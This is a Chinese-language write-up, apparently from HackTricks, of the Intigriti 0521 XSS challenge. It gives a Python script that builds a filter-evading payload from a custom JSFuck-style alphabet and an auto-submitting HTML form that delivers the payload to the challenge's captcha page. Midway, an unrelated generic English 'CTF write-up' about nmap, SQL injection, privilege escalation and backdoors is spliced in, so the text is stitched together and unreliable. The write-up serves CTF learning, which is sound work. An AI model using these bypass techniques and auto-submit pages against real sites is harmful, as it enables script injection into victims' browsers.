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challenge-0521.intigriti.io
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简要描述
该挑战提供了一个易受XSS攻击的表单，位于页面https://challenge-0521.intigriti.io/captcha.php中。
该表单通过iframe加载在https://challenge-0521.intigriti.io/中。
发现该表单会将用户输入插入到JavaScript的eval函数中。这通常是一个不好的做法，因为它可能导致任意JavaScript代码的执行，这是一个很好的例子。
然而，在将用户输入插入eval函数之前，它会使用正则表达式/[a-df-z<>()!\\='"]/gi进行检查，因此如果找到其中任何字符，用户输入将不会在eval中执行。
无论如何，发现了一种绕过正则表达式保护并执行alert(document.domain)的方法，滥用了危险的eval函数。
访问HTML
发现允许用户输入字母e。还发现有一个使用id="e"的HTML元素。因此，可以通过变量e从Javascript中访问此HTML元素：
此外，重要的是要知道在JS中，可以使用点或方括号中的字符串来访问对象的属性。因此，可以通过以下任一方式访问document对象的domain属性：
document.domain
document["domain"]
同样的情况也发生在作为函数（方法）的属性上：
document.write("1")
document["write"]("1")
然后，可以通过类似以下方式从e HTML元素访问document对象：
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
使用字符串形式的JS代码调用函数而不使用括号
从document对象中，可以调用write函数来写入浏览器将执行的任意HTML文本。
然而，由于()字符是禁止的，因此无法使用它们来调用函数。不过，可以使用反引号（``）来调用函数。
此外，可以使用${...}将要执行的javascript代码作为字符串。
`${"alert(document.location)"}`
因此，将document对象访问与此技术结合起来，可以在不使用括号的情况下执行函数，从而实现执行警报的目的：
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
您可以在页面https://challenge-0521.intigriti.io/captcha.php的javascript控制台中测试此代码。
最终禁止字符绕过
然而，仍然存在一个问题。大部分的攻击代码中的字符都是禁止的，因为它们出现在正则表达式/[a-df-z<>()!\\='"]/gi中。但请注意，所有的禁止字符都是攻击代码中的字符串，而攻击代码中的非字符串字符（e[]`${}）是允许的。
这意味着，如果可以从允许的字符中生成禁止字符的字符串，就可以生成攻击代码。
为了做到这一点，我生成了一个类似于JSFuck的字母表来生成所需的字符（这个字母表是专门为这个挑战定制的）。
您可以在攻击代码中看到完整的字母表（可以在下一小节和文件_exploit.txt_中找到）。
例如，为了生成字母a，可以访问**[[]/e+e][0][1]，因为[[]/e+e][0]生成字符串"NaN[object HTMLProgressElement]"，或者为了生成字母f，可以访问[[][[]]+e][0]的第5个字符，因为该表达式生成字符串"undefined[object HTMLProgressElement]"。
使用这些技巧和一些更复杂的技巧，可以生成攻击代码中包含的所有字符（字母和符号）的字符串**：
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
攻击代码
这是用于生成最终攻击的Python攻击代码。如果你执行它，它将打印出攻击代码：
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = '<script>alert(document["domain"])</script>'
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
攻击
为了生成攻击代码，只需执行上述Python代码。如果你愿意，也可以从这里复制/粘贴它：
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# Challenge 0521 - Intigriti CTF Write-up
## Introduction
This challenge is from the Intigriti CTF and involves finding a vulnerability in a web application. The goal is to exploit the vulnerability and retrieve the flag.
## Reconnaissance
We start by performing a basic reconnaissance of the target. We use tools like `nmap` and `dirb` to scan for open ports and discover hidden directories.
## Exploitation
After identifying the target's vulnerabilities, we proceed with the exploitation phase. We use techniques like SQL injection, cross-site scripting (XSS), and remote code execution (RCE) to gain unauthorized access to the system.
## Privilege Escalation
Once we have gained access to the system, we look for ways to escalate our privileges. This may involve exploiting misconfigurations, weak file permissions, or other vulnerabilities.
## Post-Exploitation
After escalating our privileges, we can perform various actions on the compromised system. This may include stealing sensitive data, installing backdoors, or pivoting to other systems on the network.
## Flag Retrieval
The final step is to retrieve the flag. This may involve searching for hidden files, decrypting encrypted data, or bypassing authentication mechanisms.
## Conclusion
In this challenge, we learned how to identify vulnerabilities, exploit them, escalate privileges, and retrieve the flag. These skills are essential for ethical hackers and penetration testers.
然后，您需要**生成一个HTML页面**，加载该页面时，它将**重定向**受害者到**挑战**页面，并在验证码表单中**设置利用**。可以使用以下代码来实现此目的（_请注意，利用已进行URL编码_）：
```markup
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
<input type="hidden" name="c" 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/>
<input type="submit" value="提交请求" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
最后，在HTTP服务器上提供poc，并从浏览器访问它：\
只需在验证码表单上按下提交，就会执行警报：
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗？想要在HackTricks中宣传你的公司吗？或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗？请查看订阅计划！
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组，或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。